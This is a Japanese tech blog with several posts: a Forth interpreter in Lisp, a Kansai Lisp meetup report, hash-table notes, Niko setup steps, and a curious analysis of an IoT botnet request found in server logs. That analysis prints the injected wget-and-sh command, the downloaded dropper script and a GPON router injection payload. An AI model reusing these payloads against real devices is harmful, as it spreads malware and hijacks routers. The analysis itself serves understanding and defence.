;; https://github.com/t-sin/uf/blob/340662c05e1998d8d94594700275d5051b5c39bb/runtime.lisp (defmacro defword ((name) &body body) (let (($fn-name (intern (format nil "word:~a" (symbol-name name)) :uf/dict)) ($word (gensym "uf"))) `(progn (defun ,$fn-name (vm) (declare (ignorable vm)) ,@body) (let ((,$word (find ',$fn-name uf/core:*dictionary* :key #'word-name))) (if ,$word (error "word ~s is already registered" (word-name ,$word)) (push (make-word :name ',(intern (symbol-name name) :uf/dict) :fn (function ,$fn-name) :system-p t) uf/core:*dictionary*))))))
それによって定義されたのが、標準出力にスタックトップの値を出力するこんなワードです。
;; https://github.com/t-sin/uf/blob/340662c05e1998d8d94594700275d5051b5c39bb/runtime.lisp (defword (|.|) (format t "~a" (pop (vm-stack vm))))
これで、以下のようにしてフィボナッチ数を計算できるようになりました。
やったー! 自作Forthでフィボナッチ数を計算できたぞー! pic.twitter.com/Z2pUZDgZvw
— t-sin (@sin_clav) 2018年10月18日
感想
かなり小さなコードで動くものが書けるというのがForthすごいところです。たぶんパーサが簡単な分、Lisp処理系よりも簡単なのではないでしょうか。たぶん実用的にするのにも、基礎ができたらあとはワードを充実させるだけで対応可能っぽいので、DSLにするのにもいいかもしれないです。
ただ、ifの実装はスタック的な走査を生でゴリゴリ書かないといけないので、ちょっと面倒くさいです。今回の実装では力技で乗り切りましたが……。
これから
ufの実装は、if
の実装がちょっと汚く、これを如何とすべきか、というところがひとつ。解決の方針としては、そもそもif
を解釈しないという方針がありそうです。Forthの仕様書によれば処理系の状態はexecution、interpretation, compilationの3つあるそうですが、if
の項目を見ると、ワード定義の間(ここをcompilation modeというらしい…?)でしか使えないことが書かれています。バイナリコードにコンパイルするときに、ジャンプ先を解決してしまい、実行時にはジャンプ命令で済ませてしまう、というのがおそらく本来の実装方法のようです。なので、まずは仕様書を読み込むかLET OVER LAMBDAを読んでそのあたりを勉強してみようと思います。
また、フィボナッチ数列を計算できたけど、もっと実際的なプログラムに使ってみたいので、なにか用途を考えなくてはならないなあと思いました。弾幕STGとか、そういうものの低レベル組み込み言語とかにしてみると楽しいかもしれません。
関係ないけど
wlをVM型にするの、どうしようかなー。必要ないといえば必要ないけど、似非コンパイル(VM機械語とVMのセット)ができそうなのでやりたいとも思っており。なやましいですね。
第7回関西Lispユーザ会に行ってきた
その昔、Lispを実行することに特化したマシンがありました。Lispマシンと呼ばれたそのマシンは、当時の人工知能ブームの後押しを受けて盛んに製作されていたそうです。MIT AIラボのCONSマシンやCADRマシン、それに日本でもいくつかつくられたようです。
Lispが好きでたまらない人間には夢のようなマシンです。いろんなLispマシンの記事を読んでいると、Lispを実行するための高速化の方法とか、OS自体がLispで書かれていてREPLでOSを直接設定できるとか、ほんとうに夢のよう。
ところで神戸大学には、そこでつくられたLispマシンが飾られている場所があるらしいです。日本でつくられて、それも高性能だったLispマシン、一度はこの目で見てみたいなーと考えていました。
そんなところに第7回関西Lispユーザ会の開催告知が。神戸大学で、Lispマシンの開発者である先生をお招きして、Lispマシンの見学会まであるですって。
これは見に行かないと人生損だなよ。
……そんなわけで、第7回関西Lispユーザ会に行ってまいりました。
関西Lispユーザ会とは
関西Lispユーザ会は、関西でLispを使う人たちの集いの場です。Lispってたのしいんだよ、ということを広めていくためにOpen Source Conferenceに出典したり、今回のように発表の場を設けたり、このごろはもくもく会を開催したり、と精力的に運営されています。
この日のイベントスケジュールは以下を参照していただきたいのですが、会場は神戸大学の講義室の一室でした。いいキャンパスでした。
kansai-lisp-useres.connpass.com
また余談ですが、神戸大学出身の知り合いから聞いていた事実がつぎつぎに証明されていくのでとても楽しかったです(大学までが登山(ほんとに坂がきつい)、イノシシが出る(ウリボーロードという道がある)、など)。
会では、発表(LT, Lisp Talkの略)の合間に休憩があって直前の内容について議論したり雑談があったりというのは新鮮だなーと感じました。とはいえ、shibuya.lispのLisp meetupでも発表者入れ替わりの合間に雑談は入るので、関西弁によるノリが新鮮だったのでしょうか。
発表
Past and Future of CG on Lisp
まずはympbycさんによる、Lispとコンピュータグラフィックスの話です。
Lispといえばだいたい「人工知能」「Webアプリケーション(Paul Graham)」「ゲーム(クラッシュバンディクー)」と認識されることが多いですが、じつはコンピュータグラフィックスの言語だったこともある、というふうに話が始まります。SymbolicsがCGの部署をもっていたり、Lispで3Dモデルの作成やそれによるアニメーションの製作に使われていた時代もあったよね、と。
しかし、いまは
Lisp CGの冬 (1999~現在)
GPUの進化により並列で行列計算を行い、昔はレンダリングするのに何十時間とかかっていたレイトレーシングも、いまやリアルタイムでできるようになりました。いまやモデルそのものアニメーションそのものをすべてシェーダで生成してリアルタイムレンダリングする時代です(参考: shadertoy)。そんな「冬」の時代のコンピュータグラフィックスとは……。
シェーダをLispで書く
それを実現するのが、このライブラリ、CEPL。
このライブラリは、Common Lispのマクロで記述されたLispっぽいコードを、OpenGLのシェーダ言語GLSLにコンパイルし、REPLからシェーダを書いてOpenGLの中へつっこむことを可能とします!!
たとえばこれは、リアルタイムで描画されるLispエイリアンのデモ動画です。
たとえばこれは、実装途中のものですがレイトレーシングです。屈折・反射をリアルタイムで描画しています。もちろんCommon Lispで!!
おもしろいですね。ちなみに応用としては以下のようなものが考えられるそうです:
- 物理シミュレーション
- ライブコーディング
- GLSLをエクスポートして…
- Unityで利用
- shadertoyに投稿
- 科学計算
すごいですね。ぼくはShadertoyにアカウントつくろうとしたらそのときの貰いものGPUが古くてできなかった苦い思い出をお持ちなので、こんどこそトライしてみようと強く感じました!
ところで、おもしろかったのがympbycさんが過去にされていたことで、Haskellの影響を受けたカリー化された関数によって特殊形式が存在しないLisp処理系Carrotや、Serial Experiments Lainに出てくるCommon Lispコードを特定した記事、Smalltalk勉強会に行っていた話(その人が歴史、みたいな人がいる)、3Dプリンタをピックアンドプレースマシンに改造した、などがありました。つよい。
Julia is your friend
つぎはfu7mu4さんの、プログラミング言語Juliaの話です。
www.slideshare.net
Juliaといえば、科学計算向けの動的言語で、Nimのライバル(ではない)ですね。発表によると、Juliaを開発した動機にはいろいろなものが挙げられていますが、とくに(Lisperに)強調しておきたいのは、
Lispのような真のマクロが使える同図像性のある言語
という点です。これは、これは。Lispじゃん? ねっ? という。なので、Lisp使いには親和性が高い言語なのです、と続きます。
具体的には、シンボルがあり、式を表現するオブジェクトを生成・操作できてしかもS式っぽいかたち。そして、式を表現するオブジェクトがあるのなら、それを返す式だってあるよねということで式変換ができ、それならコンパイル時に実際に式変換を適用するこができるよねということでマクロが登場し、Juliaは完全にLisperに対してフレンドリーです。この言語、ちょっと触ってみたいなと感じました。
ちなみにNimとJuliaのマクロまわりの違いについてのぼくの印象は以下のような感じ:
JuliaとNimだと、Juliaのほうがマクロシステムは綺麗だなあ。
— t-sin (@sin_clav) October 13, 2018
NimだとASTのノード(変数、if文、……)をひとつずつインスタンス化していく形。JuliaはクオートされたリストをExprオブジェクトにする、という形。
— t-sin (@sin_clav) October 13, 2018
神戸大学Lispマシン、FAST LISPとAIに関わる私的技術史
そして最後に、FAST LISPを開発された瀧和男先生によるお話です。
高校生のころから電子工作をされご自分でコンピュータをつくってきたという流れの7番目に位置付けられる、FAST LISPマシン。開発の動機としては次のようなことを述べられていました(意訳):
ビットスライス・プロセッサ(Wikipediaの記事)という、新しいしくみのプロセッサが当時発表され、これをつかった独自のコンピュータをつくってみたいと考えていた。その一方でMITでは、Lispマシンが開発され話題になっていた。そこで、ビットスライス・プロセッサを使ってLispマシンをつくってみたいと思った。
ハードウェア・ソフトウェア両面の実装の苦労話等を設計図とともにお話いただいたのですが、ぼくはハードウェアのほうがからっきしだったため、記憶にあまりのこっておらず…。ただ、インタプリタのコードの雰囲気は、実装したことがあるのでなんとなく覚えていますが…。もっと頭に叩き込んでおけばよかった…。
そしてLispマシンの話へ。MITのCONS、CADRマシンがつくられてSymbolics社とLisp Machine社に分かれた話とか、一方でXeroxのInterlispとか、さらに一方日本のLispマシンのとくにFAST LISPの系譜に連なるFACOM α(富士通)やELIS(電電公社)に言及がありました。ここらへんの話はとっても興味があるので、一冊の本になったりするとぼくは超絶よろこびます。
そして第五世代コンピュータに関わった話やベンチャー企業の社長をやった話を経て、現在やっている人工知能の応用プロジェクトの話に移ります。現在の人工知能分野には二つの系統があり、ひとつは機械学習や深層学習の系統のパターンを処理する人工知能と、エキスパートシステムやパズル・ゲームの対戦などの、ルール記述と論理推論によって記号を処理する人工知能がある、とのことでした。現在はパターン処理系のAI分野の成功が華々しいですが、これからはパターン処理と記号処理の境目に応用の爆発が起こるだろうと瀧先生は言います。
ぼくはちょうど、対話システムを開発する会社に身を置いているのでこのあたり、とても面白く話を聞いていました。
FAST LISPの見学
瀧先生のお話のあとは、FAST LISPの実機を参加者一同で見学です。道中、神戸大学の施設について瀧先生に解説いただきながら向かいました。
ここからは(たまたま)(動物を撮るために)カメラを持っていっていたので、その写真です(しかし、ISO感度の設定をミスっていて、とってもノイズが乗っていて涙目…)
まずは前面外観。これですよ! これがLispマシン!! FAST LISPです!!
前面には上から、インタプリタの内部状態と電源操作をするためのパネル、CPUのユニットが横一列に並んている区画、メモリのユニットが並んでいる区画があります。メモリユニット区画の下にあるRamda-16
ってなんだったか…設計図とともに説明があり、たしかFAST LISPをコントロールする用のなにかだったような気がするのですが…思い出せない…。
ちなみにCPUとメモリの電子部品は手ではんだ付けされたそうです。
フロントのパネルに寄った写真です。7
は七代目の瀧先生のコンピュータだから、だそうです。FAST LISPでは処理系が利用するスタックがソフトウェアではなくハードウェアで実装されていたので、当時としては速くプログラムを実行できたのではないか、と考察されていました。
そしてFAST LISP
の文字やLISP MACHINE SYSTEM
、TAKITAC 1979
の文字は業者に依頼したというのではなく、ご自分で写されたそうです。なんだか「ステンシル」というワードが聞こえましたがくわしくないのでよくわかりません。
あっ。ステップ実行とかどうやって操作するんだろうとあの場では思ってたんですが、右下にちゃんとRUN
/STEP
のスイッチがありますね。なるほどー。
懇親会
懇親会は阪急・六甲駅そばの中華のお店、六甲苑というところでした。神大出身の友人に話したら、神大の飲み会とかでもよく利用されるお店のようでした。そこで中華を頂きながら、ぼくは言語を作ろうとして低いところに下りていってるけどよくわからん、あとハードウェアよくわからんという話をしてました。そのときわかりやすくていいよと教えてもらったのがこの本です:
それにハードウェアやるならChiselというハードウェア設計言語も触ると楽しいよと教えていただきました。Chiselで書いてシミュレータ走らせるといいよ、と。
あとは法哲学や法学のことを聞いたり、LispとCGの発表をされていたympbycさんとGLSLをLispですごいですねとお話をしたり、いろいろなお話ができました。
おわりに
神戸大学のLispマシン、FAST LISPについての回ということで関西にお邪魔したのですが、それだけでなく、関西のLisperの方々に相手をしていただけたり、たのしいお話を聞けたりと、とても刺激になった関西Lispユーザ会でした。
また一年後くらい(かそれ以下か)、ぜひまた遊びに行こうと思いました。
そういえば最近Forthを実装して遊んでるのですが、
Forthがふしぎすぎてよくわからんという話をcxxxrさんにしたら、Let Over LambdaではForthを実装する箇所があってForth入門にいいですよ、と教えてもらいました。そういえば目次にForthあった気がしたなあ、読むか。
ハッシュテーブル考
このごろ、ハッシュテーブルの実装について考えていました。
それはひとつに「Common Lispでいつも使っているハッシュテーブルってどうなっているの?」という疑問があり、もうひとつには「オレオレLispを実装するときホスト言語によってはハッシュテーブルがないことがあり、自分で実装する必要がある」という思いがありました。
そこでハッシュテーブルってどのように実装されているのだろうということをちょっと調べてみた、というわけです。
そもそもハッシュテーブルとは
じつはここまでで言っていた「ハッシュテーブル」と、データ構造の本に載っている「ハッシュテーブル」は異なります。
前者の「ハッシュテーブル」は、キーとそれに対応する値を格納するための、最近の言語ではデフォルトで提供されているデータ構造です。こんなやつ:
>>> dic = {} >>> dic {} >>> dic['test'] = 42 >>> dic {'test': 42}
「連想配列」(Perl)、「ハッシュマップ(あるいはマップ)」(Java、JVM系言語)、「ディクショナリ」(Python)、などと呼ばれるものです。以降この記事ではPythonに倣ってディクショナリと呼ぶことにします。
後者の「ハッシュテーブル」は、格納可能な値の数が大きいが実際に格納される値の数はそれほど大きくない、というようなデータを効率的に格納するためのデータ構造です。データ構造とアルゴリズム、というような書籍や大学の講義で、見たことがある人もいると思います。以降この記事ではハッシュテーブルと呼ぶことにします。
前者のハッシュテーブルの実装に際して後者のハッシュテーブルを用いるため、どちらもハッシュテーブルと呼ばれるのですかね。
なので、冒頭で考えていた内容はこういうことになります:
ディクショナリってどうやって実装するんだろう?
まずは、その実装に必要な概念であるハッシュテーブルのことを思い出すことにします。
ハッシュテーブル
ハッシュテーブルは、格納可能な値の数が大きいが、実際に格納される値はそれほど多くないようなデータを格納するのに適したデータ構造です。格納対象の値をハッシュ値という整数値に変換し、事前に用意した配列のハッシュ値の位置に値を格納する、ということをします。これにより値の取り出しの計算量がO(1)と非常に効率がよいです。
このハッシュテーブルでは、ハッシュ値を計算するための関数「ハッシュ関数」をどのように選ぶかが、効率を左右します。異なる値のハッシュ値が同一になってしまった場合、重複をうまく処理する必要があるため、なるべくダブらず値の格納位置が配列内に均等にバラけるようなハッシュ関数を選ぶ必要があるのです。
単純な例として、整数を格納するハッシュテーブルを考えます。ハッシュ関数はテーブル長の剰余を取る関数を選びました。
#define TABLE_SIZE 256; static int table[TABLE_SIZE]; int hash(int v) { return v % TABLE_SIZE; }
このテーブルに値を格納するときは、こうします:
int main(void) { int value = 42; int hash_code = hash(value); table[hash_code] = value; return 0; }
値の取得は、こうです+
int main(void) { int value = 42; int hash_code = hash(value); printf("%d\n", table[hash_code]); return 0: }
ちなみにこの方法ではハッシュ値が同じ別の値があったときに、別の値で元の値が上書きされてしまいます(ハッシュ値が衝突する、といいます)。その対策は二つ(配列の要素をリストにする、すぐ隣に格納する)ありますがここでは詳しく書きません。こちらの本を参照してください。
みんなのデータ構造(紙書籍+電子書籍)www.lambdanote.com
ディクショナリだ!
上のハッシュテーブルの例はキーと値が同じなのでつまらない例でした。これを使ってディクショナリを実装するにはどうしたらよいでしょう。ハッシュ値の衝突時、同一ハッシュ値の異なる値を探索するため、値にはキーそのものが入っていなければなりません。いっぽうでディクショナリでは下記のように、キーに対して異なる値を格納するのが目的でした:
>>> dic = {} >>> dic {} >>> dic['test'] = 42 >>> dic {'test': 42}
どうすればよいのかわからなかったので(ここで数日悩んでしまったので)、Pythonのディクショナリの実装を覗き見てみました。
- https://github.com/python/cpython/blob/master/Include/dictobject.h
- https://github.com/python/cpython/blob/master/Objects/dict-common.h
値にハッシュ値とキー値を一緒に入れてしまいましょう、が答えでした。
したがって、最近開発を始めたばかりのC言語によるLisp実装のシンボル-値テーブルは、調査の結果このようになりました:
int hash(const char* name); typedef struct { int hash; WlSymbol* symbol; } WlSymTableEntry; typedef struct { WlSymTableKey** key_table; WlObject** values; int item_count; int not_null_count; int d; // hash_table.length = 2^d } WlSymTable;
https://github.com/t-sin/wl/blob/066e12919810d7c7aa31ce713d52690ec021a86b/wlsym.h より
余談
ところでPythonのディクショナリの実装、上でいうWlSymTableEntry
にそのまま値を持つcombinedな形と、上のWlObject** values
のように別で値を持つsplitedな形と二種あるようです。このドキュメントを見るとキャッシュヒット率が関係していそうな感じなのですが、英語力が低すぎてよくわからない…。
https://github.com/python/cpython/blob/master/Objects/dictnotes.txt
Nikoに届いていた謎のリクエストを分析する
Nikoに届いていた謎のリクエストを分析する
Nikoを社内で運用していたところ、以下のような謎のリクエストがログに残っていました(被害者かもしれないので、いちおう出てくるIPは隠しています):
xx.xx.xx.xx - [24/Jul/2018:04:52:44 +00:00] "GET /login.cgi?cli=aa%20aa%27;wget%20http://yy.yy.yy.yy/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$ HTTP/1.1" 404 683 "-" "-"
パッと見なんだか脆弱性を突こうとしているのですが、いったい何をしようとしているのでしょう。このリクエストの意図を想像することで、いろいろと得られることが多いと思うし、なによりなんだか楽しそう。
なので、ちょっと調べてみることにしました。
あやしいURL
まずはリクエストのURLを見てみましょう。
/login.cgi?cli=aa%20aa%27;wget%20http://yy.yy.yy.yy/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$
いくつかの文字はURLエンコードされていますが、wget
の後になぞのURLとか、/tmp/xd
とか、sh
みたいな文字列があって、なんとなーくなにをさせたいか想像がつきそう。それにしてもlogin.cgi
にcli=...
でコマンドを与えられるシステムとは一体……。とりあえずASCIIコード表と照らし合わせると'
とか半角空白とかがでてきますが、こいつを一気にデコードしてしまうと、こんなふうになります:
$ echo '/login.cgi?cli=aa%20aa%27;wget%20http://yy.yy.yy.yy/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$' | sed -E -e 's/^.+cli=(.+)/\1/g' | tr % = | nkf -mQ aa[ESC]aa';wget http://yy.yy.yy.yy/dlink -O -> /tmp/xd;sh /tmp/xd'$
でました! aa[ESC]aa
の後にシングルクオートに挟まれた;wget http://yy.yy.yy.yy/dlink -O -> /tmp/xd;sh /tmp/xd
があり、最後に$
で終わっています。このaa[ESC]aa
と$
はちょっとよくわからないですが、wget
してなにかを取得して/tmp/xd
に保存し、それを実行しているのがわかります。
あやしいスクリプト
では、このdlink
とはなんなのか。実際に取得してみましょう。
$ curl -v http://yy.yy.yy.yy/dlink * Trying yy.yy.yy.yy... * TCP_NODELAY set * Connected to yy.yy.yy.yy (yy.yy.yy.yy) port 80 (#0) > GET /dlink HTTP/1.1 > Host: yy.yy.yy.yy > User-Agent: curl/7.58.0 > Accept: */* > < HTTP/1.1 200 OK < Date: Mon, 23 Jul 2018 23:10:36 GMT < Server: Apache/2.4.10 (Debian) < Last-Modified: Mon, 23 Jul 2018 23:10:36 GMT < ETag: W/"10e-571b41599b480" < Accept-Ranges: bytes < Content-Length: 270 < #!/bin/sh n="mips.gemini mpsl.gemini arm7.gemini" http_server="yy.yy.yy.yy" for a in $n do cd /tmp busybox wget http://$http_server/sister/$a -O -> /tmp/$a busybox chmod 777 /tmp/$a /tmp/$a selfrep.dlink done for a in $n do rm -rf /tmp/$a * Connection #0 to host yy.yy.yy.yy left intact done
中身はシェルスクリプトでした。なんか、MIPSとかARM7とか見えますね。バイナリでしょうか。取得したバイナリファイルにselfrep.dlink
と引数を与えると、自己複製して撒き散らしそうな感じです。
ちなみに上のサーバから、いまはdlink
というファイルは消えています。感づかれたのかな。でもなぜか/
にアクセスしたらApacheのディレクトリ内ブラウズができる状態だったので、/sister/
以下のファイルはすべて取得してみました。x86.gemini
とかあって、こわい。
sister$ ls -l 合計 800 -rw-r--r-- 1 grey grey 47356 7月 24 12:13 arm.b.gemini -rw-r--r-- 1 grey grey 55764 7月 24 12:13 arm.gemini -rw-r--r-- 1 grey grey 47388 7月 24 12:13 arm5.b.gemini -rw-r--r-- 1 grey grey 46896 7月 24 12:13 arm5.gemini -rw-r--r-- 1 grey grey 118319 7月 24 12:13 arm7.b.gemini -rw-r--r-- 1 grey grey 129065 7月 24 12:13 arm7.gemini -rw-r--r-- 1 grey grey 43188 7月 24 12:13 bin.gemini -rw-r--r-- 1 grey grey 59364 7月 24 12:13 mips.b.gemini -rw-r--r-- 1 grey grey 71824 7月 24 12:13 mips.gemini -rw-r--r-- 1 grey grey 60804 7月 24 12:13 mpsl.b.gemini -rw-r--r-- 1 grey grey 72864 7月 24 12:13 mpsl.gemini -rw-r--r-- 1 grey grey 47792 7月 24 12:13 x86.gemini
あやしいELF
ここからは、『Binary Hacks』を片手に、お勉強しながらやっていきます。
まず、とりあえずreadelf
でバイナリフィアルのヘッダを見てみました。
$ echo * | xargs readelf -h | egrep '(ファイル:|セクションヘッダサイズ)' ファイル: arm.b.gemini セクションヘッダサイズ: 10 ファイル: arm.gemini セクションヘッダサイズ: 10 ファイル: arm5.b.gemini セクションヘッダサイズ: 10 ファイル: arm5.gemini セクションヘッダサイズ: 18 ファイル: arm7.b.gemini セクションヘッダサイズ: 29 ファイル: arm7.gemini セクションヘッダサイズ: 29 ファイル: bin.gemini セクションヘッダサイズ: 13 ファイル: mips.b.gemini セクションヘッダサイズ: 13 ファイル: mips.gemini セクションヘッダサイズ: 13 ファイル: mpsl.b.gemini セクションヘッダサイズ: 13 ファイル: mpsl.gemini セクションヘッダサイズ: 13 ファイル: x86.gemini セクションヘッダサイズ: 10
なんとなくarm
に力点が置かれており、とくにarm7
かそうでないかでコードの複雑さが違うっぽいような気がします。
あやしいarm7.gemini
arm7
を感染させることが大事っぽいので、ここではarm7.gemini
を解析対象とします。
とりあえずまずは、strings
で文字列を見てみましょうか。
$ strings arm7.gemini | head JR** gfff@ @ #! !1C " POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Gemini/2.0 Accept: */* Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://yy.yy.yy.yy/gpon+-O+/tmp/difv;sh+/tmp/difv`&ipv=0
おおー。なんだかHTTPのリクエストっぽい文字列がでてきました。GPONというのはルータの機種だか規格だかなのだ、と同僚が言っていた気がします。そのへんまったくわからないので「おおー」と声を上げるほかありませんでした。ルータに感染して、なにかさせるのを目的にするプログラムなのでしょうかね。
つぎに、シンボルテーブルをファイルに書き出して、ディスアセンブルした結果も書き出して、眺めてみることにします:
$ arm-none-eabi-nm arm7.gemini > arm7.gemini.sym $ arm-none-eabi-objdump arm7.gemini -d > arm7.gemini.das
arm7.gemini.das
を覗くと、以下のようなかんじです(長いので、下に載せます)。
なんだか<attack_*>
とかラベルが見え、それっぽいですね。ちなみに、これは昼間に同僚が教えてくれたのですが、gre
というのはVPSみたいなことをするときに経路を意識させないようにするためのプロトコルらしいです。
下のほうにいくと<main>
があって(エントリポイントですかね!)、さらにいくと<memcpy>
とか<malloc>
とか見えてきます。きっと、環境のshared objectに依存しないように、静的リンクされているのでしょうか。fopen
やprctl
があることから、ファイルシステムやプロセスに対する操作も行っていそうです。<anti_gdb_entry>
とかあるので、GDBでのデバッグを困難にするような仕掛けも施されている、のか?
$ cat arm7.gemini.das | egrep '<.+>:' 000080d4 <_init>: 000080f0 <__do_global_dtors_aux>: 00008134 <frame_dummy>: 00008194 <_start>: 000081d0 <attack_get_opt_str>: 0000822c <attack_get_opt_ip>: 00008298 <attack_get_opt_int>: 00008308 <attack_parse>: 000085a0 <attack_init>: 000089cc <attack_gre_eth>: 00009094 <attack_gre_ip>: 000096f4 <attack_tcp_xmas>: 00009dcc <attack_tcp_frag>: 0000a4a4 <attack_tcp_syn>: 0000ab7c <attack_tcp_stomp>: 0000b3a8 <attack_tcp_ack>: 0000bacc <attack_icmp_basic>: 0000bd8c <attack_udp_plain>: 0000c04c <attack_udp_frag>: 0000c618 <attack_udp_generic>: 0000cbe4 <attack_udp_vse>: 0000d050 <attack_udp_dns>: 0000d734 <checksum_generic>: 0000d784 <checksum_tcpudp>: 0000d828 <dlinkscanner_scanner_kill>: 0000d850 <gponscanner_scanner_kill>: 0000d878 <gponscanner_setup_connection>: 0000d94c <gponscanner_scanner_init>: 0000e40c <huaweiscanner_scanner_kill>: 0000e434 <killer_kill>: 0000e45c <mkiller_kill>: 0000e484 <killer_kill_by_port>: 0000ea00 <mini_killer>: 0000ea7c <killer_init>: 0000f638 <anti_gdb_entry>: 0000f650 <ensure_single_instance>: 0000f7b4 <resolve_cnc_addr>: 0000f820 <ioctl_keepalive>: 0000f970 <rand_exploit>: 0000f998 <main>: 00010120 <rand_next>: 0001017c <rand_init>: 000101e4 <rand_alpha_str>: 000102b4 <resolv_entries_free>: 000102dc <resolv_lookup>: 000107e4 <table_retrieve_val>: 00010808 <table_lock_val>: 000108a8 <table_unlock_val>: 00010948 <table_init>: 00011000 <util_strlen>: 00011028 <util_strcpy>: 00011070 <util_memcpy>: 00011094 <util_zero>: 000110b8 <util_atoi>: 000111f4 <util_fdgets>: 00011250 <util_local_addr>: 000112e4 <util_stristr>: 00011374 <util_itoa>: 00011470 <__aeabi_uidiv>: 0001156c <__aeabi_uidivmod>: 00011584 <__div0>: 00011598 <__GI___fcntl_nocancel>: 00011630 <__GI___libc_fcntl>: 00011724 <getppid>: 00011738 <__GI_ioctl>: 00011818 <__GI_kill>: 00011850 <prctl>: 00011894 <__GI_readlink>: 000118d4 <__syscall_select>: 00011918 <__libc_select>: 0001199c <__GI_setsid>: 000119dc <__GI_sigprocmask>: 00011a68 <__GI_time>: 00011a98 <__GI_closedir>: 00011ba8 <fd_to_DIR>: 00011c78 <__GI_opendir>: 00011d3c <fdopendir>: 00011dec <__GI_readdir>: 00011ed4 <__GI___errno_location>: 00011ef4 <clock>: 00011f30 <__GI_memmove>: 00011f40 <__GI_memset>: 00011fe0 <__GI_strcpy>: 00012004 <__GI_inet_addr>: 0001202c <__sys_accept>: 00012070 <__libc_accept>: 000120e4 <__GI_bind>: 00012128 <__sys_connect>: 0001216c <__libc_connect>: 000121e0 <__GI_getsockname>: 00012224 <getsockopt>: 0001226c <__GI_listen>: 000122ac <__sys_recv>: 000122f0 <__libc_recv>: 00012360 <__sys_recvfrom>: 000123a8 <__libc_recvfrom>: 00012430 <__sys_send>: 00012474 <__libc_send>: 000124e4 <__sys_sendto>: 00012530 <__libc_sendto>: 000125b8 <__GI_setsockopt>: 00012600 <__GI_socket>: 00012644 <__GI_sigaddset>: 00012694 <__GI_sigemptyset>: 000126a8 <__GI_signal>: 0001276c <__GI___sigismember>: 00012790 <__GI___sigaddset>: 000127b4 <__GI___sigdelset>: 000127d8 <__malloc_largebin_index>: 00012850 <malloc>: 00013188 <calloc>: 000132c8 <realloc>: 00013688 <__malloc_trim>: 00013738 <__malloc_consolidate>: 000138ec <free>: 00013b28 <malloc_trim>: 00013b68 <__GI_abort>: 00013c90 <rand>: 00013ca8 <__GI_random>: 00013d4c <setstate>: 00013e04 <initstate>: 00013ec4 <srd>: 00013f68 <__GI_random_r>: 00013ff8 <__GI_srandom_r>: 000140d0 <__GI_initstate_r>: 000141c8 <__GI_setstate_r>: 000142b4 <__GI_exit>: 00014378 <nprocessors_onln>: 000144c4 <__GI_sysconf>: 00014ae8 <__libc_fork>: 00014eb4 <__lll_lock_wait_private>: 00014f4c <__getpid>: 00014f94 <__GI_raise>: 00015084 <__GI_sleep>: 000151b4 <__GI___close_nocancel>: 000151d0 <__GI___libc_close>: 00015244 <__GI___open_nocancel>: 00015260 <__GI___libc_open>: 000152d4 <__GI___read_nocancel>: 000152f0 <__GI___libc_read>: 00015360 <__libc_disable_asynccancel>: 000153e8 <__libc_enable_asynccancel>: 000154c4 <__pthread_mutex_lock>: 000154cc <__pthread_mutex_init>: 000154d4 <_pthread_cleanup_push_defer>: 000154dc <_pthread_cleanup_pop_restore>: 00015508 <__GI___uClibc_fini>: 00015584 <__check_one_fd>: 000155d8 <__GI___uClibc_init>: 00015630 <__uClibc_main>: 00015a1c <__GI_mmap>: 00015a98 <__syscall_error>: 00015ac4 <__libc_sigaction>: 00015b4c <_setjmp>: 00015b58 <__default_sa_restorer>: 00015b64 <__default_rt_sa_restorer>: 00015b70 <__aeabi_read_tp>: ...以下省略
どうもこのプログラムはルータを対象にし、なにかをする(させる)プログラムのようです。
うーん。アセンブラが読めないのと、定数データがわからないので、これ以上はわからない! くやしい! 『熱血! アセンブラ入門』を読んで勉強しないと……。
今日はここまでにします。
Niko --- GitHub上のメンションをSlackでお知らせ
Niko
NikoというGitHub上のメンションをSlackで教えてくれるソフトウェアをつくりました。
もちろんCommon Lisp製です😎
NikoはGitHubのWebhookとして動作し、GitHub上のissueやプルリクエストの本文や、それらに対するコメントやレビューの中のメンション(@username
の文字列)を検出して、Slackで通知してくれます。GitHubとSlackそれぞれのユーザ名は、事前に管理画面より登録しておく必要があります。
Webアプリケーションとしてはかなり小さい(3画面+1APIパス)ものですが、ちょっとだけ特徴があって、それは、深町さんがつくっているフルスタックWebアプリケーションフレームワークUtopianを利用していることです。
使ってるという話を(深町さん以外では)耳にしないので、もしかしたら使っているプロジェクトの10番台くらいはいけているかも…?
Nikoの導入から起動まで
このソフトウェアは会社で絶賛稼動中で、個人的にはとっても重宝しています。ここでは、Nikoのデプロイ方法を記します。
Nikoをサーバにデプロイする場合、NikoとUtopianはQuicklispでは公開されていないので、Common Lispの処理系マネージャRoswellでインストールするか、GitHubからクローンしてくる必要があります。Roswellスクリプトを利用する作業もあるUtopianはRoswell経由で、そうではなく純粋に起動するのみのNikoはGitHubよりクローンして、手元に導入します。
まずは、Utopianの導入から。
$ ros install qlot # 依存ライブラリのバージョン固定 $ ros install lake # タスクランナー $ ros install clack # Webアプリケーション環境 $ ros install fukamachi/utopian
Nikoのほうは、GitHubからクローンして好きなディレクトリに置きます。
$ cd /path/to/dir $ git clone https://github.com/t-sin/niko $ cd niko
UtopianはPythonでいうところのvenv環境のように、qlotで切り離された環境を前提とします。まずはその環境を初期化して、依存ライブラリをインストールします。
$ qlot install
これで準備完了です。起動しましょう。
$ export GITHUB_TOKEN=xxxxxxxx $ export SLACK_TOKEN=yyyyyyyy $ export SLACK_CHANNEL=niko-channel $ qlot exec clackup app.lisp
起動すると、デフォルトではポート5000番で起動します。http://localhost:5000/
にアクセスして、こんな画面が表示されたら成功です。
Nikoの使い方
Nikoはユーザ情報管理用の管理画面とWebhook用のAPIからなります。管理画面はトップ画面(上の画像)以外に、
- ユーザ追加画面
/users/add
- ユーザ一覧画面
/users/lists
があります。読んで字の如くなんですが、GitHubユーザとSlackユーザのマッピングを追加する画面と、一覧を表示する画面です。ちなみに、削除画面はまだないんですが、まあすぐに追加できると思うので、あとで付けます。
あとは、NikoをGitHubの好きなリポジトリや組織のwebhookに設定するだけです。したがって、外部からアクセスできる必要があるので、ngrok等を利用して、起動したNikoを公開しましょう。
Webhookとして動作するAPIのパスは/api/github/webhook
です。
あまり真似してほしくない部分
